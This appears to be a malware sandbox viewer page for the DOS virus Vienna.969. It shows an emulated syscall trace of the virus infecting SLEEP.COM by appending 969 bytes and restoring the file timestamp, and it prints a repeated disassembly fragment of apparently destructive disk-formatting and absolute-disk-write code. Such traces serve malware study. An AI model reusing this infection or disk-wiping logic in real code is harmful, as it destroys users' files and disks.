Sample viewer

vx.netlux.org/Virus.DOS.Vienna.969

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:03:46.162244789Z 48 PC: 12afd | Get DOS version
2018-12-17T23:03:46.168827411Z 47 PC: 12afd | Get disk transfer address
2018-12-17T23:03:46.170840088Z 26 PC: 12afd | Set disk transfer address
2018-12-17T23:03:46.172391526Z 42 PC: 12afd | Get date 0x12afd: ret
0x12afe: mov al, byte ptr [0x455]
0x12b01: call 0x12b14
0x12b04: cmp byte ptr [0x455], 0x19
0x12b09: je 0x12b2b
0x12b0b: inc byte ptr [0x455]
0x12b0f: loop 0x12afe
0x12b11: int 0x26
0x12b13: ret
0x12b14: mov ah, 5
0x12b16: mov ch, 0
0x12b18: mov dh, 0
0x12b1a: mov dl, byte ptr [0x455]
0x12b1e: mov byte ptr [0x456], 2
0x12b23: nop
0x12b24: call 0x22aab
0x12b27: ret
0x12b28: int 0x13
0x12b2a: ret
0x12b2b: mov al, 2
2018-12-17T23:03:46.176149937Z 42 PC: 12afd | Get date 0x12afd: ret
0x12afe: mov al, byte ptr [0x455]
0x12b01: call 0x12b14
0x12b04: cmp byte ptr [0x455], 0x19
0x12b09: je 0x12b2b
0x12b0b: inc byte ptr [0x455]
0x12b0f: loop 0x12afe
0x12b11: int 0x26
0x12b13: ret
0x12b14: mov ah, 5
0x12b16: mov ch, 0
0x12b18: mov dh, 0
0x12b1a: mov dl, byte ptr [0x455]
0x12b1e: mov byte ptr [0x456], 2
0x12b23: nop
0x12b24: call 0x22aab
0x12b27: ret
0x12b28: int 0x13
0x12b2a: ret
0x12b2b: mov al, 2
2018-12-17T23:03:46.178664087Z 42 PC: 12afd | Get date 0x12afd: ret
0x12afe: mov al, byte ptr [0x455]
0x12b01: call 0x12b14
0x12b04: cmp byte ptr [0x455], 0x19
0x12b09: je 0x12b2b
0x12b0b: inc byte ptr [0x455]
0x12b0f: loop 0x12afe
0x12b11: int 0x26
0x12b13: ret
0x12b14: mov ah, 5
0x12b16: mov ch, 0
0x12b18: mov dh, 0
0x12b1a: mov dl, byte ptr [0x455]
0x12b1e: mov byte ptr [0x456], 2
0x12b23: nop
0x12b24: call 0x22aab
0x12b27: ret
0x12b28: int 0x13
0x12b2a: ret
0x12b2b: mov al, 2
2018-12-17T23:03:46.181495243Z 78 PC: 12afd | Find first file
2018-12-17T23:03:46.188455756Z 67 PC: 12afd | Get or set file attributes
2018-12-17T23:03:46.19711706Z 67 PC: 12afd | Get or set file attributes
2018-12-17T23:03:46.401804876Z 61 PC: 12afd | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:03:46.408793424Z 87 PC: 12afd | Get or set file date and time
2018-12-17T23:03:46.411602168Z 44 PC: 12afd | Get time 0x12afd: ret
0x12afe: mov al, byte ptr [0x455]
0x12b01: call 0x12b14
0x12b04: cmp byte ptr [0x455], 0x19
0x12b09: je 0x12b2b
0x12b0b: inc byte ptr [0x455]
0x12b0f: loop 0x12afe
0x12b11: int 0x26
0x12b13: ret
0x12b14: mov ah, 5
0x12b16: mov ch, 0
0x12b18: mov dh, 0
0x12b1a: mov dl, byte ptr [0x455]
0x12b1e: mov byte ptr [0x456], 2
0x12b23: nop
0x12b24: call 0x22aab
0x12b27: ret
0x12b28: int 0x13
0x12b2a: ret
0x12b2b: mov al, 2
2018-12-17T23:03:46.414550564Z 63 PC: 12afd | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:03:46.421205072Z 66 PC: 12afd | Move file pointer
2018-12-17T23:03:46.424890325Z 64 PC: 12afd | Write file or device (Write 969 bytes on handle 5)
2018-12-17T23:03:46.433658089Z 66 PC: 12afd | Move file pointer
2018-12-17T23:03:46.435391299Z 64 PC: 12afd | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:03:46.442501906Z 87 PC: 12afd | Get or set file date and time
2018-12-17T23:03:46.44851633Z 62 PC: 12afd | Close file
2018-12-17T23:03:46.468734704Z 67 PC: 12afd | Get or set file attributes
2018-12-17T23:03:46.492288153Z 26 PC: 12afd | Set disk transfer address